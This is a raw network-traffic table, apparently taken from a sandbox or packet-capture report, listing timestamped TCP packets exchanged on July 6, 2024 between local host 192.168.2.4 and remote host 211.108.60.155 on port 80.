Jul 6, 2024 14:10:02.999115944 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.999121904 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.999130964 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.999159098 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.999170065 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.999252081 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.999260902 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.999270916 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.999279022 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.999288082 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.999291897 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.999314070 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.999331951 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.999371052 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.999408007 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.999481916 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.999491930 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.999505997 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.999516010 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.999517918 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.999525070 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.999535084 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.999546051 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.999560118 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.999694109 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.999703884 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.999712944 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.999741077 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.999751091 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.999772072 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.999784946 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:02.999804020 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:02.999816895 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.090792894 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.090847969 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.196249008 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.196260929 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.196279049 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.196316957 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.196355104 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.196367979 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.196377039 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.196398973 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.196408033 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.196554899 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.196582079 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.196592093 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.196599007 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.196608067 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.196630001 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.196908951 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.196918011 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.196930885 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.196954966 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.196979046 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.197033882 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.197041988 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.197072983 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.197231054 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.197242022 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.197249889 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.197272062 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.197298050 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.197415113 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.197439909 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.197448969 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.197457075 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.197465897 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.197483063 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.197555065 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.197593927 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.197830915 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.197839022 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.197871923 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.197875977 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.197885990 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.197907925 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.197918892 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.197979927 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.198019028 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.198262930 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.198271990 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.198307991 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.198308945 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.198318005 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.198337078 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.198345900 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.198395014 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.198407888 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.198419094 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.198440075 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.198457003 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.198506117 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.198550940 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.198582888 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.198622942 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.198663950 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.198704004 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.198837996 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.198847055 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.198868990 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.198879004 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.198898077 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.199028015 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.199071884 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.199110031 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.199120045 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.199151039 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.199284077 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.199328899 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.199338913 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.199347973 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.199369907 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.199379921 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.199542046 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.199587107 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.199592113 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.199603081 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.199621916 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.199630022 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.199858904 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.199867010 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.199876070 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.199884892 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.199899912 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.199915886 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.200054884 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.200098038 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.200124025 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.200134039 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.200154066 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.200165987 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.200282097 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.200299025 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.200309992 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.200325012 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.200335026 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.200351000 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.200551987 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.200593948 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.200618029 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.200625896 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.200649977 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.200659990 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.201116085 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.201123953 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.201153994 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.201157093 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.201188087 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.201237917 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.201260090 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.201271057 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.201277971 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.201280117 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.201303959 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.201313972 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.201349020 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.201358080 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.201387882 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.201395035 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.201419115 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.201447964 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.201484919 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.391328096 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.391340971 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.391350031 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.391401052 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.391407967 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.391424894 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.391443968 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.391448021 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.391474962 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.391587973 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.391628981 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.391671896 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.391685009 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.391695023 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.391705990 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.391727924 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.391762972 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.391798973 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.391823053 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.391860008 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.392024040 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.392036915 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.392069101 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.392093897 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.392123938 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.392132044 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.392132998 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.392155886 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.392267942 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.392311096 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.392340899 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.392349005 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.392357111 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.392375946 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.392389059 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.392932892 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.392976999 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.392983913 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.392995119 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.393013954 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.393023968 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.393063068 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.393073082 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.393081903 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.393090010 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.393105984 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.393119097 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.393222094 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.393229961 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.393261909 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.393330097 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.393337011 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.393346071 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.393354893 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.393364906 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.393378019 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.393399000 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.393443108 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.393450975 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.393481016 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.393598080 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.393640041 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.393709898 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.393723011 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.393740892 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.393748045 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.393757105 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.393764973 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.393790007 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.393826962 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.393831968 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.393858910 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.394010067 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.394052029 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.394213915 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.394222975 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.394232035 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.394253016 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.394263029 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.394313097 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.394350052 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.394368887 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.394377947 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.394403934 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.394622087 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.394665003 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.394690037 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.394699097 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.394714117 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.394727945 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.394728899 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.394736052 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.394772053 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.394818068 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.394825935 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.394861937 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.395085096 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.395092964 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.395102024 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.395124912 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.395138979 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.395266056 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.395275116 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.395282984 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.395307064 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.395318031 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.395461082 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.395468950 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.395478010 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.395487070 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.395503044 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.395519972 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.395570993 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.395579100 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.395611048 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.395649910 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.395693064 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.395773888 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.395781994 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.395822048 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.395983934 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.395992994 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.396001101 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.396023989 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.396034956 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.396048069 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.396055937 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.396080017 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.396155119 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.396162987 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.396190882 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.396234989 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.396265984 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.396279097 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.396296978 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.396418095 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.396440983 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.396456957 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.396466970 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.585572958 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.585603952 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.585613012 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.585622072 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.585633039 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.585665941 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.585665941 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.585705042 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.585731030 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.585746050 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.585761070 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.585953951 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.585998058 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.586035967 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.586051941 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.586061954 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.586071968 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.586076021 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.586081982 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.586106062 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.586163044 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.586206913 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.586247921 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.586266994 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.586287022 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.586297035 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.586445093 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.586488008 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.586512089 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.586520910 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.586543083 CEST	49732	80	192.168.2.4	211.108.60.155
